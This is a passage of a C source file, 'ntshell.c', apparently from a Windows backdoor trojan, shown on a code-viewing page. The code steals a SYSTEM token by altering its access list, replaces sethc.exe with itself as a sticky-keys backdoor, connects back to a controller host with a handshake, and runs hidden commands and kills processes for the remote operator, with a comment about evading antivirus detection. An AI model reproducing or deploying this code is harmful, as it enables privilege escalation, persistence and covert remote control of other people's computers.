📄 ntshell.c
字号:
LocalFree(pAcl);
if (pTokenInformation != NULL)
LocalFree(pTokenInformation);
if (hToken != NULL)
CloseHandle(hToken);
if (pSid != NULL)
FreeSid(pSid);
return bResult;
}
BOOL ModifyNamedObjectAcl(LPTSTR lpObjectName, SE_OBJECT_TYPE ObjectType, BOOL bReset)
{
PACL pOldDACL = NULL, pNewDACL = NULL;
PSECURITY_DESCRIPTOR pSD;
EXPLICIT_ACCESS ea;
BOOL bResult = FALSE;
//获取现有的ACL列表到OldDACL:
if (GetNamedSecurityInfo( lpObjectName,
ObjectType,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
&pOldDACL,
NULL,
&pSD) != ERROR_SUCCESS)
goto Cleanup;
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
if (bReset)
{
BuildExplicitAccessWithName( &ea,
"CURRENT_USER",
-1,
REVOKE_ACCESS,
SUB_CONTAINERS_AND_OBJECTS_INHERIT);
}
else
{
BuildExplicitAccessWithName( &ea,
"CURRENT_USER",
-1,
SET_ACCESS,
SUB_CONTAINERS_AND_OBJECTS_INHERIT);
}
//合并结构ea和OldDACL的权限列表到新的NewDACL:
if (SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL) != ERROR_SUCCESS)
goto Cleanup;
//把新的ACL写入到指定的对象:
if (SetNamedSecurityInfo(lpObjectName, ObjectType, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) == ERROR_SUCCESS)
bResult = TRUE;
//释放指针
Cleanup:
if(pSD != NULL)
LocalFree(pSD);
if(pNewDACL != NULL)
LocalFree(pNewDACL);
return bResult;
}
BOOL ModifyObjectAcl(HANDLE Object, DWORD AccessPermissions, BOOL bReset)
{
EXPLICIT_ACCESS ea;
PSECURITY_DESCRIPTOR pSD;
PACL pDacl = NULL;
PACL pNewDacl = NULL;
DWORD dwRet;
dwRet = GetSecurityInfo(Object, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pDacl, NULL, &pSD);
if (dwRet != ERROR_SUCCESS)
{
return FALSE;
}
if (bReset)
{
BuildExplicitAccessWithName( &ea,
"CURRENT_USER",
AccessPermissions,
REVOKE_ACCESS,
SUB_CONTAINERS_AND_OBJECTS_INHERIT);
}
else
{
BuildExplicitAccessWithName( &ea,
"CURRENT_USER",
AccessPermissions,
SET_ACCESS,
SUB_CONTAINERS_AND_OBJECTS_INHERIT);
}
dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
LocalFree(pSD);
if (dwRet != ERROR_SUCCESS)
{
return FALSE;
}
dwRet = SetSecurityInfo(Object, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL);
LocalFree(pNewDacl);
return dwRet == ERROR_SUCCESS ? TRUE : FALSE;
}
BOOL RunAsLocalSystem(LPTSTR lpCmdLine)
{
BOOL bModifiedAcl = FALSE;
DWORD dwPid = -1;
PROCESSENTRY32 pe32 = {sizeof(PROCESSENTRY32)};
HANDLE hProcessSnap, hProcess, hToken, hTokenAcl, hNewToken;
STARTUPINFO si;
PROCESS_INFORMATION pi;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
if (Process32First(hProcessSnap, &pe32))
{
do
{
//寻找由System进程所创建的子进程,通常为smss.exe
if (pe32.th32ParentProcessID == 4 || pe32.th32ParentProcessID == 8)
{
dwPid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
if (dwPid == -1)
return FALSE;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid);
if (hProcess == NULL)
return FALSE;
//尝试获取系统令牌,避免下系统权限下重复操作
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
{
//管理员有修改ACL权限,通过它获取对象的全部权限
if (!OpenProcessToken(hProcess, READ_CONTROL | WRITE_DAC, &hTokenAcl))
{
CloseHandle(hProcess);
return FALSE;
}
//让当前用户拥有该令牌的全部权限
if (!ModifyObjectAcl(hTokenAcl, TOKEN_ALL_ACCESS, FALSE))
{
CloseHandle(hTokenAcl);
CloseHandle(hProcess);
return FALSE;
}
//重新打开令牌,此时已有足够的权限
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
{
ModifyObjectAcl(hTokenAcl, TOKEN_ALL_ACCESS, TRUE);
CloseHandle(hTokenAcl);
CloseHandle(hProcess);
return FALSE;
}
//移除为当前用户添加的权限
ModifyObjectAcl(hTokenAcl, TOKEN_ALL_ACCESS, TRUE);
CloseHandle(hTokenAcl);
}
CloseHandle(hProcess);
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken))
{
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.lpDesktop = "winsta0\\default";
//模拟用户登陆
ImpersonateLoggedOnUser(hNewToken);
//创建拥有系统权限的进程
if (!CreateProcessAsUser( hNewToken,
NULL,
lpCmdLine,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
CloseHandle(hNewToken);
return FALSE;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hNewToken);
return TRUE;
}
VOID ReplaceSetHC()
{
char szSrcFile[MAX_PATH];
char szSysDir[MAX_PATH];
char szDstFile[MAX_PATH];
GetModuleFileName(NULL, szSrcFile, MAX_PATH);
GetSystemDirectory(szSysDir, MAX_PATH);
wsprintf(szDstFile, "%s\\sethc.exe", szSysDir);
MoveFile(szDstFile, "sethcc.exe");
CopyFile(szDstFile, szSrcFile, TRUE);
wsprintf(szDstFile, "%s\\dllcache\\sethc.exe", szSysDir);
CopyFile(szDstFile, szSrcFile, TRUE);
}
BOOL ObInitOutput(POUTPUT_BUFFER pob, int maxsize)
{
pob->Length = 0x1000;
pob->MaxLength = (maxsize + 0xfff) & 0xfffff000;
pob->MaxLength = max(pob->MaxLength, 0x1000);
pob->Pointer = 0;
pob->Buffer = VirtualAlloc(NULL, pob->MaxLength, MEM_RESERVE, PAGE_READWRITE);
if (!pob->Buffer)
return FALSE;
VirtualAlloc(pob->Buffer, pob->Length, MEM_COMMIT, PAGE_READWRITE);
return TRUE;
}
int ObOutputBinary(POUTPUT_BUFFER pob, void *buf, int len)
{
PUCHAR out = (PUCHAR)pob->Buffer + pob->Pointer;
if (pob->Pointer + len >= pob->Length)
{
if (pob->Pointer + len >= pob->MaxLength)
{
return -1;
}
pob->Length = (pob->Pointer + len + 0xfff) & 0xfffff000;
VirtualAlloc(pob->Buffer, pob->Length, MEM_COMMIT, PAGE_READWRITE);
}
memcpy(out, buf, len);
pob->Pointer += len;
return 0;
}
int ObOutputString(POUTPUT_BUFFER pob, PTCHAR str)
{
return ObOutputBinary(pob, str, strlen(str) + 1);
}
void ObFreeOutput(POUTPUT_BUFFER pob)
{
VirtualFree(pob->Buffer, 0, MEM_RELEASE);
pob->Buffer = NULL;
pob->Length = 0;
pob->Pointer = -1;
}
SOCKET ConnectMaster(int conntype)
{
struct sockaddr_in master;
struct hostent *host;
long temp, ask, answer, ok, ret;
SOCKET master_sock;
switch (conntype)
{
case 1:
ask = CONN1_SLAVE_ASK;
answer = CONN1_MASTER_ANSWER;
ok = CONN1_SLAVE_OK;
break;
case 2:
ask = CONN2_SLAVE_ASK;
answer = CONN2_MASTER_ANSWER;
ok = CONN2_SLAVE_OK;
break;
default:
return INVALID_SOCKET;
}
master.sin_family = AF_INET;
master.sin_port = htons(MasterPort);
master.sin_addr.s_addr = inet_addr(MasterAddr);
if (master.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(MasterAddr); //解析主机域名
if (host == NULL)
{
master.sin_addr.s_addr = inet_addr(MasterAddr2);
}
else
{
master.sin_addr.S_un.S_addr = *(DWORD *)(host->h_addr_list[0]);
}
}
if (master.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(MasterAddr2); //解析备用域名
if (host == NULL)
{
return INVALID_SOCKET; //域名解析失败就认为主控端不在线,不记录日志
}
else
{
master.sin_addr.S_un.S_addr = *(DWORD *)(host->h_addr_list[0]);
}
}
master_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (master_sock == INVALID_SOCKET)
return INVALID_SOCKET;
if (connect(master_sock, (struct sockaddr *)&master, sizeof(master)) == SOCKET_ERROR)
{
LogEvent(5, inet_ntoa(master.sin_addr), MasterPort);
closesocket(master_sock);
return INVALID_SOCKET;
}
ret = send(master_sock, (char *)&ask, sizeof(ask), 0);
if (ret == SOCKET_ERROR)
{
closesocket(master_sock);
return INVALID_SOCKET;
}
ret = recv(master_sock, (char *)&temp, sizeof(temp), 0);
if (ret != sizeof(temp) || temp != answer)
{
LogEvent(6, inet_ntoa(master.sin_addr));
closesocket(master_sock);
return INVALID_SOCKET;
}
ret = send(master_sock, (char *)&ok, sizeof(ok), 0);
if (ret == SOCKET_ERROR)
{
closesocket(master_sock);
return INVALID_SOCKET;
}
LogEvent(7, inet_ntoa(master.sin_addr), MasterPort);
return master_sock;
}
void ConsoleKillProcess(POUTPUT_BUFFER pob, PCONSOLE_PROCESSKILL ppk)
{
HANDLE hProcess;
char szResult[BUFFER_SIZE];
DWORD dwErrCode;
EnablePrivilege(SE_DEBUG_NAME, TRUE);
hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ppk->ProcessId);
dwErrCode = GetLastError();
EnablePrivilege(SE_DEBUG_NAME, FALSE);
if (hProcess != NULL)
{
if (!TerminateProcess(hProcess, 0))
{
dwErrCode = GetLastError();
}
else
{
CloseHandle(hProcess);
return;
}
CloseHandle(hProcess);
}
wsprintf(szResult, "Kill process %d failed, code=%d\r\n", ppk->ProcessId, dwErrCode);
ObOutputString(pob, szResult);
}
void ConsoleListProcess(POUTPUT_BUFFER pob)
{
PROCESSENTRY32 pe32;
HANDLE hProcessSnap;
char szResult[BUFFER_SIZE];
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32))
{
do
{
wsprintf(szResult, "\r\n %5d %s", pe32.th32ProcessID, pe32.szExeFile);
ObOutputBinary(pob, szResult, strlen(szResult));
} while (Process32Next(hProcessSnap, &pe32));
}
ObOutputString(pob, "\r\n");
CloseHandle(hProcessSnap);
}
else
{
wsprintf(szResult, "List processes failed, code=%d\r\n", GetLastError());
ObOutputString(pob, szResult);
}
}
void ConsoleExecute1(POUTPUT_BUFFER pob, PCONSOLE_EXECUTE pce)
{
char szResult[BUFFER_SIZE];
DWORD lBytesRead;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hReadPipe = NULL, hWritePipe = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
return;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
if (!CreateProcess(NULL, pce->CommandLine, NULL, NULL, 1, 0, NULL, NULL, &si, &pi))
{
wsprintf(szResult, "Create Process %s failed, code=%d\r\n", pce->CommandLine, GetLastError());
ObOutputString(pob, szResult);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return;
}
if (pce->ShowResult)
{
if (WaitForSingleObject(pi.hProcess, pce->TimeOut) == WAIT_TIMEOUT) //尝试等待命令完成
{
ObOutputString(pob, "Wait for exiting time out\r\n");
}
else if (ReadFile(hReadPipe, szResult, sizeof(szResult), &lBytesRead, NULL))
{
szResult[lBytesRead] = '\0';
ObOutputString(pob, szResult);
}
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
}
void ConsoleExecute2(POUTPUT_BUFFER pob, PCONSOLE_EXECUTE pce)
{
char szResult[BUFFER_SIZE];
char szCmdLine[400];
char szTempPath[MAX_PATH];
char szTempFile[MAX_PATH];
DWORD lBytesRead;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hFile;
if (pce->ShowResult)
{
//控制台执行功能将不进行重定向输出,防止被某些杀毒软件检测到
GetTempPath(MAX_PATH, szTempPath);
GetTempFileName(szTempPath, "Z", 0, szTempFile);
wsprintf(szCmdLine, "cmd.exe /c %s > %s", pce->CommandLine, szTempFile);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -